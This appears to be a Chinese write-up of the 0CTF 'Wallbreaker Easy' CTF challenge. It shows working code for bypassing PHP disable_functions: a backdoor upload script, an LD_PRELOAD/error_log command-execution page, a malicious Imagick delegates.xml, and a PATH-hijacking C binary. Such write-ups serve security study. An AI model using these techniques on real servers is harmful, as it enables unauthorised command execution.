0ctf-Wallbreaker Easy复现
补坑+1。
有预留的后门,并且给了phpinfo,因此可以从phpinfo中先搜集一波信息:
这里禁用了很多命令执行的函数,所以应该要bypass_disablefunction,先读一下flag在哪,但是这里有openbase_dir限制,因此能够还必须绕过它,这里system默认忽略openbase_dir,所以要是能执行system就好了,那么此时就利用后门直接上传so,exp:
先利用后门上传so文件
import requests url = "http://localhost:8888/index.php" param = {"backdoor":"move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/723ee8e952c6c25ff6277a2f95c77a08/seu.so');echo 'ok';var_dump(scandir('/tmp/723ee8e952c6c25ff6277a2f95c77a08'));"}
#files = [('file',('seu.so',open("seu.so","rb"),'application/octet-stream'))]
files = [('file',('seu.so',open("tr1ple.so","rb"),'multipart/form-data'))]
r = requests.post(url=url, files=files, data=param)
print(r.text)
这里是post型后门用data,get型用params,然后就能看到so上传成功,然后再上传触发LD_PRELOAD的php文件,这里直接通过后门上传到/var/www/html传不上去,应该是做了限制没权限,所以我们直接上传到/tmp/723ee8e952c6c25ff6277a2f95c77a08/,然后再通过后门include进来就是我们自己的后门了,然后因为这里过滤了mail,imap_open,我尝试了imap_mail,但是没有成功,
1.非预期解法
但是error_log可以用,直接用error_log触发就好,exp:
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path); error_log("", 1, "", ""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);
?>
然后就可以执行命令了,system系统命令默认忽略openbase_dir,先ls / 看到readflag,因此直接执行/readflag,并将输出结果重定向即可
2.预期解法
这道题其实实际上是利用php的imagick的漏洞来bypass disable_function,前几天还补了一下php imagick的相关知识,其实它就是图片转换的库,但是它本身依靠外部转换程序来对特定后缀的文件进行转换,实际上就是一个delagate,即一个委托,即将要转换的文件中的一些特定部分通过delegate来添加到命令行中,相当于命令注入了,但是在bypass里面通过php imagick来fork execve也是一种方法,我之前也总结过,这里其实就是imagick在处理一些特定后缀文件时,会调用ffmpeg,从而就可以加载我们的恶意共享库,来bypass。
这里又有两种方法:
1.直接看delegate.xml来看下有哪些delegate起了新的子进程,从而看一下对应的后缀是啥,可以直接在github上看源码,找到该文件:
https://github.com/ImageMagick/ImageMagick/blob/master/www/source/delegates.xml
这里面就列了很多可以用的格式
2.ImageMagick-master\PerlMagick\Makefile.nt
还可以从这个文件中找到,这里其实我刚开始也不知道怎么一下在就知道是看这个文件,但是我猜测肯定有对应的后缀要用ffmpeg来处理,所以我搜索ffmpeg字符串就能找到这个文件。
从这里面也可以看到当imagick处理mpeg格式的文件时,将调用ffmpeg来处理,那么会加载动态库
一叶飘零师傅找到的是这个文件来对应mpeg格式的文件后缀:
但是我觉得是下面这个文件比较正确:
ImageMagick-master\coders\mpeg.h
这个就是定义mpeg的文件,那么aliases就是将哪些后缀格式的当作mpeg来处理,所以按道理来说这些后缀都会调用ffmpeg程序。
以上就是两种找fork子进程的方法,本地测试一下:
调用ffmpeg:
调用delegate中定义的:
当然这里为啥要选择jxr,是从delegate文件中发现的,当然最好是选择只有decode的,因为如果有encode的话,还要要求decode的文件文件头符合规范才能够调用command
3.另外解法:
①:覆盖delegate.xml
因为我们要执行/readflag,那么应该是通过系统命令,那么既然delagate.xml里面能够自定义要执行的命令,我们可以直接写delegate来让imagick当处理某个文件后缀时加载我们的delegate.xml,然后执行我们的command即可。
比如首先通过正常情况下执行的命令找到 EPT
文件对应的文件格式为:ps:alpha
,那么我们所需要的delegates.xml
内容就是:
<delegatemap>
<delegate decode="ps:alpha" command="sh -c "/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt""/>
</delegatemap>
这里就将读到的flag文件重定向
然后只需要执行:
putenv('MAGICK_CONFIGURE_PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');
当然这里最重要的是putenv函数,来设置imagick加载delegate.xml的路径是我们指定的,也就是上面我们上传的tmp文件夹,当然也要上传一个.ept文件,内容随意,因为这里只有decode~
②.覆盖子进程的位置
因为我们在利用pre_load时也是在找哪里会启动新的进程来执行我们的so,那么在启动新进程时是在path定义的路径中去找到这个可执行文件来执行,那么我们可以直接通过修改path的方式来劫持子进程路径,从而
来执行我们的恶意子进程来bypass
#include <stdlib.h>
#include <string.h>
int main() {
unsetenv("PATH");
const char* cmd = getenv("CMD");
system(cmd);
return ;
}
将上述内容编译后命名为 gs
,将 gs
和 EPT
文件写入到服务器,然后执行:
putenv('PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
putenv('CMD=/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt');
chmod('/tmp/3accb9900a8be5421641fb31e6861f33/gs','0777');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');
这是因为在delegate.xml定义中在decode ept文件时会调用gs,只要指定path为我们的gs的文件夹路径即可达成劫持的效果。
相关资料
https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/#%E5%90%8E%E8%AE%B0
https://xz.aliyun.com/t/4688#toc-15
0ctf-Wallbreaker Easy复现的更多相关文章
- [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)
简介 原题复现: 考察知识点:http协议走私.php字符串解析漏洞 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到 ...
- [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]
简介 原题复现: 考察知识点:反序列化.数组绕过 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...
- 刷题记录:[0CTF 2016]piapiapia
目录 刷题记录:[0CTF 2016]piapiapia 一.涉及知识点 1.数组绕过正则及相关 2.改变序列化字符串长度导致反序列化漏洞 二.解题方法 刷题记录:[0CTF 2016]piapiap ...
- [RoarCTF]Easy Java
目录 [RoarCTF]Easy Java 知识点 1.WEB-INF/web.xml泄露 [RoarCTF]Easy Java 题目复现链接:https://buuoj.cn/challenges ...
- [RoarCTF]Easy Calc
目录 [RoarCTF]Easy Calc 知识点 1.http走私绕过WAF 2.php字符串解析特性绕过WAF 3.绕过过滤写shell [RoarCTF]Easy Calc 题目复现链接:htt ...
- 嘶吼CTF2019总结(Web部分题目复现以及部分杂项)
easy calc 这次的比赛自己一题都没有做出来,赛后看题解的时候很难受,其实有很多东西自己其实是可以做出来的,但是思路被限制了,可能这就是菜吧. 首先web题目就是一个easy calc,emmm ...
- [原题复现]BJDCTF2020 WEB部分全部解
简介 原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学 ...
- 【转】Windows下使用libsvm中的grid.py和easy.py进行参数调优
libsvm中有进行参数调优的工具grid.py和easy.py可以使用,这些工具可以帮助我们选择更好的参数,减少自己参数选优带来的烦扰. 所需工具:libsvm.gnuplot 本机环境:Windo ...
- Struts2 easy UI插件
一.easy UI是类似于jQuery UI的插件库,它提供了丰富的各种常用插件:tree.datagrid... tree插件: 语法:$(selector).tree([settings]); 常 ...
随机推荐
- MyEclipse优化攻略搜集
1 首先内存设置 不会报讨厌的内存溢出out of memory 和 henp space 在 myeclipse.ini把大小调成一样是因为不让myeclipse频繁的换内存区域的大小. #utf8 ...
- 【ES6 】ES6 解构赋值--函数参数解构赋值
函数的参数也可以使用解构赋值. function add([x, y]){ return x + y; } add([1, 2]); 上面代码中,函数add的参数表面上是一个数组,但在传入参数的那一刻 ...
- 每日一句 Linux, 持续精进
每日一句 Linux, 持续更新 2019.12.10 1.远程登录 linux 服务器.首先要按照ssh(win10默认是安装了的).命令行窗口,使用 ssh 登录名@serverIp,之后输入密码 ...
- SQL脚本优化
1.创建索引一.要尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引 (1)在经常需要进行检索的字段上创建索引,比如要按照表字段username进行检索,那么就应 ...
- JavaScript 的基本使用
JavaScript 基本语法要求: 1.JS的写法是严格区分大小写的. 2.标识符的起名要求跟java的是一样的,第一个位置可以说字母.下划线.美元符号.其他位置可以字母.下划线.美元符号.数字. ...
- 根据进程id pid 查容器id
To get container ID you can use: cat /proc/<process-pid>/cgroup Then to convert the container ...
- String特性之 “字符串驻留池”
1. 字符串驻留池,就是一块与堆区并行的存放字符串对象的内存区,JVM的驻留池机制规定: 在池中创建一个String对象,第二行会先在池中寻找是否有值与"abc"相同的String ...
- SQLite3学习笔记(2)
SQLite 创建表 SQLite 的CREATE TABLE 语句用于在任何指定的数据库创建一个新表. 创建新表,涉及到命名表.定义列及每一行的数据类型. CREATE TABLE 的基本语法如 ...
- Base64编码与解码的作用
1.便于网络传输. 2.不可见性. 3.适合在http,mime协议下快速传输数据. 4 区别于加密,Base64是可以解码的,编码是 公开的,Base 64编码,任何人都可以解码
- ProjectEuler237 Tours on a 4 x n playing board
思路是这样的 插头dp-->打表-->OEIS查表-->通项公式-->矩阵快速幂优化线性递推 OEIS竟然有这个东西的生成函数啊 答案为15836928 这是最终代码 #inc ...